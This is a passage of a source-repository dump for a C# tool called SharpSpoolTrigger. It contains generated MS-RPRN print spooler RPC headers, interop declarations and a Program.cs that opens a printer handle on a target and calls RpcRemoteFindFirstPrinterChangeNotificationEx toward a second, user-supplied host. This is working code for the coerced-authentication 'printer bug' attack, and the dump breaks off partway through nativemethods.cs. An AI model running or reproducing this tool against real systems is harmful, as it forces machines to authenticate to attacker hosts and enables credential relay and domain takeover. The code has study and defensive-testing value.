239 | PLONG64 pInt64[]; 240 | PDWORD64 pUint64[]; 241 | PWSTR ppString[]; 242 | PCLAIM_SECURITY_ATTRIBUTE_OCTET_STRING_RELATIVE pOctetString[]; 243 | } Values; 244 | } CLAIM_SECURITY_ATTRIBUTE_RELATIVE_V1, 245 | *PCLAIM_SECURITY_ATTRIBUTE_RELATIVE_V1; 246 | 247 | 248 | typedef DWORD SECURITY_INFORMATION, *PSECURITY_INFORMATION; 249 | 250 | typedef struct _RPC_SID { 251 | unsigned char Revision; 252 | unsigned char SubAuthorityCount; 253 | RPC_SID_IDENTIFIER_AUTHORITY IdentifierAuthority; 254 | [size_is(SubAuthorityCount)] unsigned long SubAuthority[]; 255 | } RPC_SID, 256 | *PRPC_SID, 257 | *PSID; 258 | 259 | typedef struct _ACL { 260 | unsigned char AclRevision; 261 | unsigned char Sbz1; 262 | unsigned short AclSize; 263 | unsigned short AceCount; 264 | unsigned short Sbz2; 265 | } ACL, 266 | *PACL; 267 | 268 | typedef struct _SECURITY_DESCRIPTOR { 269 | UCHAR Revision; 270 | UCHAR Sbz1; 271 | USHORT Control; 272 | PSID Owner; 273 | PSID Group; 274 | PACL Sacl; 275 | PACL Dacl; 276 | } SECURITY_DESCRIPTOR, 277 | *PSECURITY_DESCRIPTOR; 278 | 279 | 280 | -------------------------------------------------------------------------------- /SharpSpoolTrigger/Midl-RPRN/x64/ms-rprn.h: -------------------------------------------------------------------------------- 1 | 2 | 3 | /* this ALWAYS GENERATED file contains the definitions for the interfaces */ 4 | 5 | 6 | /* File created by MIDL compiler version 8.01.0626 */ 7 | /* at Tue Jan 19 04:14:07 2038 8 | */ 9 | /* Compiler settings for ms-rprn.idl: 10 | Oicf, W1, Zp8, env=Win64 (32b run), target_arch=AMD64 8.01.0626 11 | protocol : dce , ms_ext, c_ext, robust 12 | error checks: allocation ref bounds_check enum stub_data 13 | VC __declspec() decoration level: 14 | __declspec(uuid()), __declspec(selectany), __declspec(novtable) 15 | DECLSPEC_UUID(), MIDL_INTERFACE() 16 | */ 17 | /* @@MIDL_FILE_HEADING( ) */ 18 | 19 | #pragma warning( disable: 4049 ) /* more than 64k source lines */ 20 | 21 | 22 | /* verify that the version is high enough to compile this file*/ 23 | #ifndef __REQUIRED_RPCNDR_H_VERSION__ 24 | #define __REQUIRED_RPCNDR_H_VERSION__ 475 25 | #endif 26 | 27 | #include "rpc.h" 28 | #include "rpcndr.h" 29 | 30 | #ifndef __RPCNDR_H_VERSION__ 31 | #error this stub requires an updated version of 32 | #endif /* __RPCNDR_H_VERSION__ */ 33 | 34 | 35 | #ifndef __ms2Drprn_h__ 36 | #define __ms2Drprn_h__ 37 | 38 | #if defined(_MSC_VER) && (_MSC_VER >= 1020) 39 | #pragma once 40 | #endif 41 | 42 | #ifndef DECLSPEC_XFGVIRT 43 | #if _CONTROL_FLOW_GUARD_XFG 44 | #define DECLSPEC_XFGVIRT(base, func) __declspec(xfg_virtual(base, func)) 45 | #else 46 | #define DECLSPEC_XFGVIRT(base, func) 47 | #endif 48 | #endif 49 | 50 | /* Forward Declarations */ 51 | 52 | /* header files for imported files */ 53 | #include "oaidl.h" 54 | 55 | #ifdef __cplusplus 56 | extern "C"{ 57 | #endif 58 | 59 | 60 | #ifndef __winspool_INTERFACE_DEFINED__ 61 | #define __winspool_INTERFACE_DEFINED__ 62 | 63 | /* interface winspool */ 64 | /* [unique][endpoint][ms_union][version][uuid] */ 65 | 66 | typedef struct _DEVMODE_CONTAINER 67 | { 68 | DWORD cbBuf; 69 | /* [unique][size_is] */ BYTE *pDevMode; 70 | } DEVMODE_CONTAINER; 71 | 72 | typedef struct _RPC_V2_NOTIFY_OPTIONS_TYPE 73 | { 74 | unsigned short Type; 75 | unsigned short Reserved0; 76 | DWORD Reserved1; 77 | DWORD Reserved2; 78 | DWORD Count; 79 | /* [unique][size_is] */ unsigned short *pFields; 80 | } RPC_V2_NOTIFY_OPTIONS_TYPE; 81 | 82 | typedef struct _RPC_V2_NOTIFY_OPTIONS 83 | { 84 | DWORD Version; 85 | DWORD Reserved; 86 | DWORD Count; 87 | /* [unique][size_is] */ RPC_V2_NOTIFY_OPTIONS_TYPE *pTypes; 88 | } RPC_V2_NOTIFY_OPTIONS; 89 | 90 | typedef unsigned short LANGID; 91 | 92 | typedef /* [context_handle] */ void *GDI_HANDLE; 93 | 94 | typedef /* [context_handle] */ void *PRINTER_HANDLE; 95 | 96 | typedef /* [handle] */ wchar_t *STRING_HANDLE; 97 | 98 | DWORD RpcEnumPrinters( 99 | /* [in] */ handle_t IDL_handle); 100 | 101 | DWORD RpcOpenPrinter( 102 | /* [unique][string][in] */ STRING_HANDLE pPrinterName, 103 | /* [out] */ PRINTER_HANDLE *pHandle, 104 | /* [unique][string][in] */ wchar_t *pDatatype, 105 | /* [in] */ DEVMODE_CONTAINER *pDevModeContainer, 106 | /* [in] */ DWORD AccessRequired); 107 | 108 | DWORD RpcSetJob( 109 | /* [in] */ handle_t IDL_handle); 110 | 111 | DWORD RpcGetJob( 112 | /* [in] */ handle_t IDL_handle); 113 | 114 | DWORD RpcEnumJobs( 115 | /* [in] */ handle_t IDL_handle); 116 | 117 | DWORD RpcAddPrinter( 118 | /* [in] */ handle_t IDL_handle); 119 | 120 | DWORD RpcDeletePrinter( 121 | /* [in] */ handle_t IDL_handle); 122 | 123 | DWORD RpcSetPrinter( 124 | /* [in] */ handle_t IDL_handle); 125 | 126 | DWORD RpcGetPrinter( 127 | /* [in] */ handle_t IDL_handle); 128 | 129 | DWORD RpcAddPrinterDriver( 130 | /* [in] */ handle_t IDL_handle); 131 | 132 | DWORD RpcEnumPrinterDrivers( 133 | /* [in] */ handle_t IDL_handle); 134 | 135 | DWORD RpcGetPrinterDriver( 136 | /* [in] */ handle_t IDL_handle); 137 | 138 | DWORD RpcGetPrinterDriverDirectory( 139 | /* [in] */ handle_t IDL_handle); 140 | 141 | DWORD RpcDeletePrinterDriver( 142 | /* [in] */ handle_t IDL_handle); 143 | 144 | DWORD RpcAddPrintProcessor( 145 | /* [in] */ handle_t IDL_handle); 146 | 147 | DWORD RpcEnumPrintProcessors( 148 | /* [in] */ handle_t IDL_handle); 149 | 150 | DWORD RpcGetPrintProcessorDirectory( 151 | /* [in] */ handle_t IDL_handle); 152 | 153 | DWORD RpcStartDocPrinter( 154 | /* [in] */ handle_t IDL_handle); 155 | 156 | DWORD RpcStartPagePrinter( 157 | /* [in] */ handle_t IDL_handle); 158 | 159 | DWORD RpcWritePrinter( 160 | /* [in] */ handle_t IDL_handle); 161 | 162 | DWORD RpcEndPagePrinter( 163 | /* [in] */ handle_t IDL_handle); 164 | 165 | DWORD RpcAbortPrinter( 166 | /* [in] */ handle_t IDL_handle); 167 | 168 | DWORD RpcReadPrinter( 169 | /* [in] */ handle_t IDL_handle); 170 | 171 | DWORD RpcEndDocPrinter( 172 | /* [in] */ handle_t IDL_handle); 173 | 174 | DWORD RpcAddJob( 175 | /* [in] */ handle_t IDL_handle); 176 | 177 | DWORD RpcScheduleJob( 178 | /* [in] */ handle_t IDL_handle); 179 | 180 | DWORD RpcGetPrinterData( 181 | /* [in] */ handle_t IDL_handle); 182 | 183 | DWORD RpcSetPrinterData( 184 | /* [in] */ handle_t IDL_handle); 185 | 186 | DWORD RpcWaitForPrinterChange( 187 | /* [in] */ handle_t IDL_handle); 188 | 189 | DWORD RpcClosePrinter( 190 | /* [out][in] */ PRINTER_HANDLE *phPrinter); 191 | 192 | DWORD RpcAddForm( 193 | /* [in] */ handle_t IDL_handle); 194 | 195 | DWORD RpcDeleteForm( 196 | /* [in] */ handle_t IDL_handle); 197 | 198 | DWORD RpcGetForm( 199 | /* [in] */ handle_t IDL_handle); 200 | 201 | DWORD RpcSetForm( 202 | /* [in] */ handle_t IDL_handle); 203 | 204 | DWORD RpcEnumForms( 205 | /* [in] */ handle_t IDL_handle); 206 | 207 | DWORD RpcEnumPorts( 208 | /* [in] */ handle_t IDL_handle); 209 | 210 | DWORD RpcEnumMonitors( 211 | /* [in] */ handle_t IDL_handle); 212 | 213 | void Opnum37NotUsedOnWire( 214 | /* [in] */ handle_t IDL_handle); 215 | 216 | void Opnum38NotUsedOnWire( 217 | /* [in] */ handle_t IDL_handle); 218 | 219 | DWORD RpcDeletePort( 220 | /* [in] */ handle_t IDL_handle); 221 | 222 | DWORD RpcCreatePrinterIC( 223 | /* [in] */ handle_t IDL_handle); 224 | 225 | DWORD RpcPlayGdiScriptOnPrinterIC( 226 | /* [in] */ handle_t IDL_handle); 227 | 228 | DWORD RpcDeletePrinterIC( 229 | /* [in] */ handle_t IDL_handle); 230 | 231 | void Opnum43NotUsedOnWire( 232 | /* [in] */ handle_t IDL_handle); 233 | 234 | void Opnum44NotUsedOnWire( 235 | /* [in] */ handle_t IDL_handle); 236 | 237 | void Opnum45NotUsedOnWire( 238 | /* [in] */ handle_t IDL_handle); 239 | 240 | DWORD RpcAddMonitor( 241 | /* [in] */ handle_t IDL_handle); 242 | 243 | DWORD RpcDeleteMonitor( 244 | /* [in] */ handle_t IDL_handle); 245 | 246 | DWORD RpcDeletePrintProcessor( 247 | /* [in] */ handle_t IDL_handle); 248 | 249 | void Opnum49NotUsedOnWire( 250 | /* [in] */ handle_t IDL_handle); 251 | 252 | void Opnum50NotUsedOnWire( 253 | /* [in] */ handle_t IDL_handle); 254 | 255 | DWORD RpcEnumPrintProcessorDatatypes( 256 | /* [in] */ handle_t IDL_handle); 257 | 258 | DWORD RpcResetPrinter( 259 | /* [in] */ handle_t IDL_handle); 260 | 261 | DWORD RpcGetPrinterDriver2( 262 | /* [in] */ handle_t IDL_handle); 263 | 264 | void Opnum54NotUsedOnWire( 265 | /* [in] */ handle_t IDL_handle); 266 | 267 | void Opnum55NotUsedOnWire( 268 | /* [in] */ handle_t IDL_handle); 269 | 270 | DWORD RpcFindClosePrinterChangeNotification( 271 | /* [in] */ handle_t IDL_handle); 272 | 273 | void Opnum57NotUsedOnWire( 274 | /* [in] */ handle_t IDL_handle); 275 | 276 | DWORD RpcReplyOpenPrinter( 277 | /* [in] */ handle_t IDL_handle); 278 | 279 | DWORD RpcRouterReplyPrinter( 280 | /* [in] */ handle_t IDL_handle); 281 | 282 | DWORD RpcReplyClosePrinter( 283 | /* [in] */ handle_t IDL_handle); 284 | 285 | DWORD RpcAddPortEx( 286 | /* [in] */ handle_t IDL_handle); 287 | 288 | DWORD RpcRemoteFindFirstPrinterChangeNotification( 289 | /* [in] */ handle_t IDL_handle); 290 | 291 | void Opnum63NotUsedOnWire( 292 | /* [in] */ handle_t IDL_handle); 293 | 294 | void Opnum64NotUsedOnWire( 295 | /* [in] */ handle_t IDL_handle); 296 | 297 | DWORD RpcRemoteFindFirstPrinterChangeNotificationEx( 298 | /* [in] */ PRINTER_HANDLE hPrinter, 299 | /* [in] */ DWORD fdwFlags, 300 | /* [in] */ DWORD fdwOptions, 301 | /* [unique][string][in] */ wchar_t *pszLocalMachine, 302 | /* [in] */ DWORD dwPrinterLocal, 303 | /* [unique][in] */ RPC_V2_NOTIFY_OPTIONS *pOptions); 304 | 305 | 306 | 307 | extern RPC_IF_HANDLE winspool_v1_0_c_ifspec; 308 | extern RPC_IF_HANDLE winspool_v1_0_s_ifspec; 309 | #endif /* __winspool_INTERFACE_DEFINED__ */ 310 | 311 | /* Additional Prototypes for ALL interfaces */ 312 | 313 | handle_t __RPC_USER STRING_HANDLE_bind ( STRING_HANDLE ); 314 | void __RPC_USER STRING_HANDLE_unbind( STRING_HANDLE, handle_t ); 315 | 316 | void __RPC_USER PRINTER_HANDLE_rundown( PRINTER_HANDLE ); 317 | 318 | /* end of Additional Prototypes */ 319 | 320 | #ifdef __cplusplus 321 | } 322 | #endif 323 | 324 | #endif 325 | 326 | 327 | -------------------------------------------------------------------------------- /SharpSpoolTrigger/Midl-RPRN/x86/ms-rprn.h: -------------------------------------------------------------------------------- 1 | 2 | 3 | /* this ALWAYS GENERATED file contains the definitions for the interfaces */ 4 | 5 | 6 | /* File created by MIDL compiler version 8.01.0626 */ 7 | /* at Tue Jan 19 04:14:07 2038 8 | */ 9 | /* Compiler settings for ms-rprn.idl: 10 | Oicf, W1, Zp8, env=Win32 (32b run), target_arch=X86 8.01.0626 11 | protocol : dce , ms_ext, c_ext, robust 12 | error checks: allocation ref bounds_check enum stub_data 13 | VC __declspec() decoration level: 14 | __declspec(uuid()), __declspec(selectany), __declspec(novtable) 15 | DECLSPEC_UUID(), MIDL_INTERFACE() 16 | */ 17 | /* @@MIDL_FILE_HEADING( ) */ 18 | 19 | #pragma warning( disable: 4049 ) /* more than 64k source lines */ 20 | 21 | 22 | /* verify that the version is high enough to compile this file*/ 23 | #ifndef __REQUIRED_RPCNDR_H_VERSION__ 24 | #define __REQUIRED_RPCNDR_H_VERSION__ 475 25 | #endif 26 | 27 | #include "rpc.h" 28 | #include "rpcndr.h" 29 | 30 | #ifndef __RPCNDR_H_VERSION__ 31 | #error this stub requires an updated version of 32 | #endif /* __RPCNDR_H_VERSION__ */ 33 | 34 | 35 | #ifndef __ms2Drprn_h__ 36 | #define __ms2Drprn_h__ 37 | 38 | #if defined(_MSC_VER) && (_MSC_VER >= 1020) 39 | #pragma once 40 | #endif 41 | 42 | #ifndef DECLSPEC_XFGVIRT 43 | #if _CONTROL_FLOW_GUARD_XFG 44 | #define DECLSPEC_XFGVIRT(base, func) __declspec(xfg_virtual(base, func)) 45 | #else 46 | #define DECLSPEC_XFGVIRT(base, func) 47 | #endif 48 | #endif 49 | 50 | /* Forward Declarations */ 51 | 52 | /* header files for imported files */ 53 | #include "oaidl.h" 54 | 55 | #ifdef __cplusplus 56 | extern "C"{ 57 | #endif 58 | 59 | 60 | #ifndef __winspool_INTERFACE_DEFINED__ 61 | #define __winspool_INTERFACE_DEFINED__ 62 | 63 | /* interface winspool */ 64 | /* [unique][endpoint][ms_union][version][uuid] */ 65 | 66 | typedef struct _DEVMODE_CONTAINER 67 | { 68 | DWORD cbBuf; 69 | /* [unique][size_is] */ BYTE *pDevMode; 70 | } DEVMODE_CONTAINER; 71 | 72 | typedef struct _RPC_V2_NOTIFY_OPTIONS_TYPE 73 | { 74 | unsigned short Type; 75 | unsigned short Reserved0; 76 | DWORD Reserved1; 77 | DWORD Reserved2; 78 | DWORD Count; 79 | /* [unique][size_is] */ unsigned short *pFields; 80 | } RPC_V2_NOTIFY_OPTIONS_TYPE; 81 | 82 | typedef struct _RPC_V2_NOTIFY_OPTIONS 83 | { 84 | DWORD Version; 85 | DWORD Reserved; 86 | DWORD Count; 87 | /* [unique][size_is] */ RPC_V2_NOTIFY_OPTIONS_TYPE *pTypes; 88 | } RPC_V2_NOTIFY_OPTIONS; 89 | 90 | typedef unsigned short LANGID; 91 | 92 | typedef /* [context_handle] */ void *GDI_HANDLE; 93 | 94 | typedef /* [context_handle] */ void *PRINTER_HANDLE; 95 | 96 | typedef /* [handle] */ wchar_t *STRING_HANDLE; 97 | 98 | DWORD RpcEnumPrinters( 99 | /* [in] */ handle_t IDL_handle); 100 | 101 | DWORD RpcOpenPrinter( 102 | /* [unique][string][in] */ STRING_HANDLE pPrinterName, 103 | /* [out] */ PRINTER_HANDLE *pHandle, 104 | /* [unique][string][in] */ wchar_t *pDatatype, 105 | /* [in] */ DEVMODE_CONTAINER *pDevModeContainer, 106 | /* [in] */ DWORD AccessRequired); 107 | 108 | DWORD RpcSetJob( 109 | /* [in] */ handle_t IDL_handle); 110 | 111 | DWORD RpcGetJob( 112 | /* [in] */ handle_t IDL_handle); 113 | 114 | DWORD RpcEnumJobs( 115 | /* [in] */ handle_t IDL_handle); 116 | 117 | DWORD RpcAddPrinter( 118 | /* [in] */ handle_t IDL_handle); 119 | 120 | DWORD RpcDeletePrinter( 121 | /* [in] */ handle_t IDL_handle); 122 | 123 | DWORD RpcSetPrinter( 124 | /* [in] */ handle_t IDL_handle); 125 | 126 | DWORD RpcGetPrinter( 127 | /* [in] */ handle_t IDL_handle); 128 | 129 | DWORD RpcAddPrinterDriver( 130 | /* [in] */ handle_t IDL_handle); 131 | 132 | DWORD RpcEnumPrinterDrivers( 133 | /* [in] */ handle_t IDL_handle); 134 | 135 | DWORD RpcGetPrinterDriver( 136 | /* [in] */ handle_t IDL_handle); 137 | 138 | DWORD RpcGetPrinterDriverDirectory( 139 | /* [in] */ handle_t IDL_handle); 140 | 141 | DWORD RpcDeletePrinterDriver( 142 | /* [in] */ handle_t IDL_handle); 143 | 144 | DWORD RpcAddPrintProcessor( 145 | /* [in] */ handle_t IDL_handle); 146 | 147 | DWORD RpcEnumPrintProcessors( 148 | /* [in] */ handle_t IDL_handle); 149 | 150 | DWORD RpcGetPrintProcessorDirectory( 151 | /* [in] */ handle_t IDL_handle); 152 | 153 | DWORD RpcStartDocPrinter( 154 | /* [in] */ handle_t IDL_handle); 155 | 156 | DWORD RpcStartPagePrinter( 157 | /* [in] */ handle_t IDL_handle); 158 | 159 | DWORD RpcWritePrinter( 160 | /* [in] */ handle_t IDL_handle); 161 | 162 | DWORD RpcEndPagePrinter( 163 | /* [in] */ handle_t IDL_handle); 164 | 165 | DWORD RpcAbortPrinter( 166 | /* [in] */ handle_t IDL_handle); 167 | 168 | DWORD RpcReadPrinter( 169 | /* [in] */ handle_t IDL_handle); 170 | 171 | DWORD RpcEndDocPrinter( 172 | /* [in] */ handle_t IDL_handle); 173 | 174 | DWORD RpcAddJob( 175 | /* [in] */ handle_t IDL_handle); 176 | 177 | DWORD RpcScheduleJob( 178 | /* [in] */ handle_t IDL_handle); 179 | 180 | DWORD RpcGetPrinterData( 181 | /* [in] */ handle_t IDL_handle); 182 | 183 | DWORD RpcSetPrinterData( 184 | /* [in] */ handle_t IDL_handle); 185 | 186 | DWORD RpcWaitForPrinterChange( 187 | /* [in] */ handle_t IDL_handle); 188 | 189 | DWORD RpcClosePrinter( 190 | /* [out][in] */ PRINTER_HANDLE *phPrinter); 191 | 192 | DWORD RpcAddForm( 193 | /* [in] */ handle_t IDL_handle); 194 | 195 | DWORD RpcDeleteForm( 196 | /* [in] */ handle_t IDL_handle); 197 | 198 | DWORD RpcGetForm( 199 | /* [in] */ handle_t IDL_handle); 200 | 201 | DWORD RpcSetForm( 202 | /* [in] */ handle_t IDL_handle); 203 | 204 | DWORD RpcEnumForms( 205 | /* [in] */ handle_t IDL_handle); 206 | 207 | DWORD RpcEnumPorts( 208 | /* [in] */ handle_t IDL_handle); 209 | 210 | DWORD RpcEnumMonitors( 211 | /* [in] */ handle_t IDL_handle); 212 | 213 | void Opnum37NotUsedOnWire( 214 | /* [in] */ handle_t IDL_handle); 215 | 216 | void Opnum38NotUsedOnWire( 217 | /* [in] */ handle_t IDL_handle); 218 | 219 | DWORD RpcDeletePort( 220 | /* [in] */ handle_t IDL_handle); 221 | 222 | DWORD RpcCreatePrinterIC( 223 | /* [in] */ handle_t IDL_handle); 224 | 225 | DWORD RpcPlayGdiScriptOnPrinterIC( 226 | /* [in] */ handle_t IDL_handle); 227 | 228 | DWORD RpcDeletePrinterIC( 229 | /* [in] */ handle_t IDL_handle); 230 | 231 | void Opnum43NotUsedOnWire( 232 | /* [in] */ handle_t IDL_handle); 233 | 234 | void Opnum44NotUsedOnWire( 235 | /* [in] */ handle_t IDL_handle); 236 | 237 | void Opnum45NotUsedOnWire( 238 | /* [in] */ handle_t IDL_handle); 239 | 240 | DWORD RpcAddMonitor( 241 | /* [in] */ handle_t IDL_handle); 242 | 243 | DWORD RpcDeleteMonitor( 244 | /* [in] */ handle_t IDL_handle); 245 | 246 | DWORD RpcDeletePrintProcessor( 247 | /* [in] */ handle_t IDL_handle); 248 | 249 | void Opnum49NotUsedOnWire( 250 | /* [in] */ handle_t IDL_handle); 251 | 252 | void Opnum50NotUsedOnWire( 253 | /* [in] */ handle_t IDL_handle); 254 | 255 | DWORD RpcEnumPrintProcessorDatatypes( 256 | /* [in] */ handle_t IDL_handle); 257 | 258 | DWORD RpcResetPrinter( 259 | /* [in] */ handle_t IDL_handle); 260 | 261 | DWORD RpcGetPrinterDriver2( 262 | /* [in] */ handle_t IDL_handle); 263 | 264 | void Opnum54NotUsedOnWire( 265 | /* [in] */ handle_t IDL_handle); 266 | 267 | void Opnum55NotUsedOnWire( 268 | /* [in] */ handle_t IDL_handle); 269 | 270 | DWORD RpcFindClosePrinterChangeNotification( 271 | /* [in] */ handle_t IDL_handle); 272 | 273 | void Opnum57NotUsedOnWire( 274 | /* [in] */ handle_t IDL_handle); 275 | 276 | DWORD RpcReplyOpenPrinter( 277 | /* [in] */ handle_t IDL_handle); 278 | 279 | DWORD RpcRouterReplyPrinter( 280 | /* [in] */ handle_t IDL_handle); 281 | 282 | DWORD RpcReplyClosePrinter( 283 | /* [in] */ handle_t IDL_handle); 284 | 285 | DWORD RpcAddPortEx( 286 | /* [in] */ handle_t IDL_handle); 287 | 288 | DWORD RpcRemoteFindFirstPrinterChangeNotification( 289 | /* [in] */ handle_t IDL_handle); 290 | 291 | void Opnum63NotUsedOnWire( 292 | /* [in] */ handle_t IDL_handle); 293 | 294 | void Opnum64NotUsedOnWire( 295 | /* [in] */ handle_t IDL_handle); 296 | 297 | DWORD RpcRemoteFindFirstPrinterChangeNotificationEx( 298 | /* [in] */ PRINTER_HANDLE hPrinter, 299 | /* [in] */ DWORD fdwFlags, 300 | /* [in] */ DWORD fdwOptions, 301 | /* [unique][string][in] */ wchar_t *pszLocalMachine, 302 | /* [in] */ DWORD dwPrinterLocal, 303 | /* [unique][in] */ RPC_V2_NOTIFY_OPTIONS *pOptions); 304 | 305 | 306 | 307 | extern RPC_IF_HANDLE winspool_v1_0_c_ifspec; 308 | extern RPC_IF_HANDLE winspool_v1_0_s_ifspec; 309 | #endif /* __winspool_INTERFACE_DEFINED__ */ 310 | 311 | /* Additional Prototypes for ALL interfaces */ 312 | 313 | handle_t __RPC_USER STRING_HANDLE_bind ( STRING_HANDLE ); 314 | void __RPC_USER STRING_HANDLE_unbind( STRING_HANDLE, handle_t ); 315 | 316 | void __RPC_USER PRINTER_HANDLE_rundown( PRINTER_HANDLE ); 317 | 318 | /* end of Additional Prototypes */ 319 | 320 | #ifdef __cplusplus 321 | } 322 | #endif 323 | 324 | #endif 325 | 326 | 327 | -------------------------------------------------------------------------------- /SharpSpoolTrigger/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using static SharpSpoolTrigger.NativeMethods; 3 | 4 | namespace SharpSpoolTrigger 5 | { 6 | internal class Program 7 | { 8 | private static void Main(string[] args) 9 | { 10 | if (args.Length < 2) 11 | { 12 | Console.WriteLine("usage: SharpSpoolTrigger.exe "); 13 | Console.WriteLine("usage: SharpSpoolTrigger.exe 192.168.1.10 192.168.1.250"); 14 | return; 15 | } 16 | if (IntPtr.Size == 8) 17 | { 18 | Console.WriteLine("NdrClientCall2x64"); 19 | } 20 | else 21 | { 22 | Console.WriteLine("CallNdrClientCall2x86"); 23 | } 24 | 25 | var Rprn = new rprn(); 26 | IntPtr hHandle = IntPtr.Zero; 27 | var devmodeContainer = new DEVMODE_CONTAINER(); 28 | 29 | try 30 | { 31 | var ret = Rprn.RpcOpenPrinter("\\\\" + args[0], out hHandle, null, ref devmodeContainer, 0); 32 | if (ret != 0) 33 | { 34 | Console.WriteLine($"[-]RpcOpenPrinter status: {ret}"); 35 | return; 36 | } 37 | ret = Rprn.RpcRemoteFindFirstPrinterChangeNotificationEx(hHandle, 0x00000100, 0, "\\\\" + args[1], 0); 38 | if (ret != 0) 39 | { 40 | Console.WriteLine($"[-]RpcRemoteFindFirstPrinterChangeNotificationEx status: {ret}"); 41 | return; 42 | } 43 | } 44 | catch (Exception ex) 45 | { 46 | Console.WriteLine(ex); 47 | } 48 | finally 49 | { 50 | if (hHandle != IntPtr.Zero) 51 | Rprn.RpcClosePrinter(ref hHandle); 52 | } 53 | } 54 | } 55 | } -------------------------------------------------------------------------------- /SharpSpoolTrigger/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.InteropServices; 3 | 4 | // General Information about an assembly is controlled through the following 5 | // set of attributes. Change these attribute values to modify the information 6 | // associated with an assembly. 7 | [assembly: AssemblyTitle("EfsPotato")] 8 | [assembly: AssemblyDescription("")] 9 | [assembly: AssemblyConfiguration("")] 10 | [assembly: AssemblyCompany("")] 11 | [assembly: AssemblyProduct("EfsPotato")] 12 | [assembly: AssemblyCopyright("Copyright © 2021")] 13 | [assembly: AssemblyTrademark("")] 14 | [assembly: AssemblyCulture("")] 15 | 16 | // Setting ComVisible to false makes the types in this assembly not visible 17 | // to COM components. If you need to access a type in this assembly from 18 | // COM, set the ComVisible attribute to true on that type. 19 | [assembly: ComVisible(false)] 20 | 21 | // The following GUID is for the ID of the typelib if this project is exposed to COM 22 | [assembly: Guid("9df4eba3-e355-4df8-a5a8-dd5b4806c55b")] 23 | 24 | // Version information for an assembly consists of the following four values: 25 | // 26 | // Major Version 27 | // Minor Version 28 | // Build Number 29 | // Revision 30 | // 31 | // You can specify all the values or you can default the Build and Revision Numbers 32 | // by using the '*' as shown below: 33 | // [assembly: AssemblyVersion("1.0.*")] 34 | [assembly: AssemblyVersion("1.0.0.0")] 35 | [assembly: AssemblyFileVersion("1.0.0.0")] -------------------------------------------------------------------------------- /SharpSpoolTrigger/SharpSpoolTrigger.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {4EBB2ECA-4D57-4A89-BDC7-236F60B91EFE} 8 | Exe 9 | SharpSpoolTrigger 10 | SharpSpoolTrigger 11 | v4.5 12 | 512 13 | true 14 | 15 | 16 | AnyCPU 17 | true 18 | full 19 | false 20 | bin\Debug\ 21 | DEBUG;TRACE 22 | prompt 23 | 4 24 | 25 | 26 | x64 27 | pdbonly 28 | true 29 | bin\Release\ 30 | TRACE 31 | prompt 32 | 4 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | -------------------------------------------------------------------------------- /SharpSpoolTrigger/SharpSpoolTrigger.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | ProjectFiles 5 | 6 | -------------------------------------------------------------------------------- /SharpSpoolTrigger/nativemethods.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.InteropServices; 3 | using System.Security.Permissions; 4 | 5 | namespace SharpSpoolTrigger 6 | { 7 | //https://raw.githubusercontent.com/vletoux/pingcastle/19a3890b214bff7cb66b08c55bb4983ca21c8bd1/RPC/nativemethods.cs 8 | public class NativeMethods 9 | { 10 | [DllImport("Rpcrt4.dll", EntryPoint = "RpcBindingFromStringBindingW", CallingConvention = CallingConvention.StdCall, CharSet = CharSet.Unicode, SetLastError = false)] 11 | internal static extern Int32 RpcBindingFromStringBinding(String bindingString, out IntPtr lpBinding); 12 | 13 | [DllImport("Rpcrt4.dll", EntryPoint = "RpcBindingFree", CallingConvention = CallingConvention.StdCall, CharSet = CharSet.Unicode, SetLastError = false)] 14 | internal static extern Int32 RpcBindingFree(ref IntPtr lpString); 15 | 16 | [DllImport("Rpcrt4.dll", EntryPoint = "RpcStringBindingComposeW", CallingConvention = CallingConvention.StdCall, CharSet = CharSet.Unicode, SetLastError = false)] 17 | internal static extern Int32 RpcStringBindingCompose(String ObjUuid, String ProtSeq, String NetworkAddr, String Endpoint, String Options, out IntPtr lpBindingString); 18 | 19 | [DllImport("Rpcrt4.dll", EntryPoint = "NdrClientCall2", CallingConvention = CallingConvention.Cdecl, CharSet = CharSet.Unicode, SetLastError = false)] 20 | internal static extern IntPtr NdrClientCall2x86(IntPtr pMIDL_STUB_DESC, IntPtr formatString, IntPtr args); 21 | 22 | [DllImport("Rpcrt4.dll", EntryPoint = "RpcBindingSetOption", CallingConvention = CallingConvention.StdCall, SetLastError = false)] 23 | internal static extern Int32 RpcBindingSetOption(IntPtr Binding, UInt32 Option, IntPtr OptionValue); 24 | 25 | [DllImport("Rpcrt4.dll", EntryPoint = "NdrClientCall2", CallingConvention = CallingConvention.Cdecl, CharSet = CharSet.Unicode, SetLastError = false)] 26 | internal static extern IntPtr NdrClientCall2x64(IntPtr pMIDL_STUB_DESC, IntPtr formatString, IntPtr binding, ref IntPtr Handle); 27 | 28 | [DllImport("Rpcrt4.dll", EntryPoint = "NdrClientCall2", CallingConvention = CallingConvention.Cdecl, CharSet = CharSet.Unicode, SetLastError = false)] 29 | internal static extern IntPtr NdrClientCall2x64(IntPtr pMIDL_STUB_DESC, IntPtr formatString, ref IntPtr Handle); 30 | 31 | [DllImport("Rpcrt4.dll", EntryPoint = "NdrClientCall2", CallingConvention = CallingConvention.Cdecl, CharSet = CharSet.Unicode, SetLastError = false)] 32 | internal static extern IntPtr NdrClientCall2x64(IntPtr pMIDL_STUB_DESC, IntPtr formatString, IntPtr binding, string pPrinterName, out IntPtr pHandle, string pDatatype, ref DEVMODE_CONTAINER pDevModeContainer, int AccessRequired); 33 | 34 | [DllImport("Rpcrt4.dll", EntryPoint = "NdrClientCall2", CallingConvention = CallingConvention.Cdecl, CharSet = CharSet.Unicode, SetLastError = false)] 35 | internal static extern IntPtr NdrClientCall2x64(IntPtr pMIDL_STUB_DESC, IntPtr formatString, string pPrinterName, out IntPtr pHandle, string pDatatype, ref DEVMODE_CONTAINER pDevModeContainer, int AccessRequired); 36 | 37 | [DllImport("Rpcrt4.dll", EntryPoint = "NdrClientCall2", CallingConvention = CallingConvention.Cdecl, CharSet = CharSet.Unicode, SetLastError = false)] 38 | internal static extern IntPtr NdrClientCall2x64(IntPtr pMIDL_STUB_DESC, IntPtr formatString, IntPtr binding, IntPtr hPrinter, uint 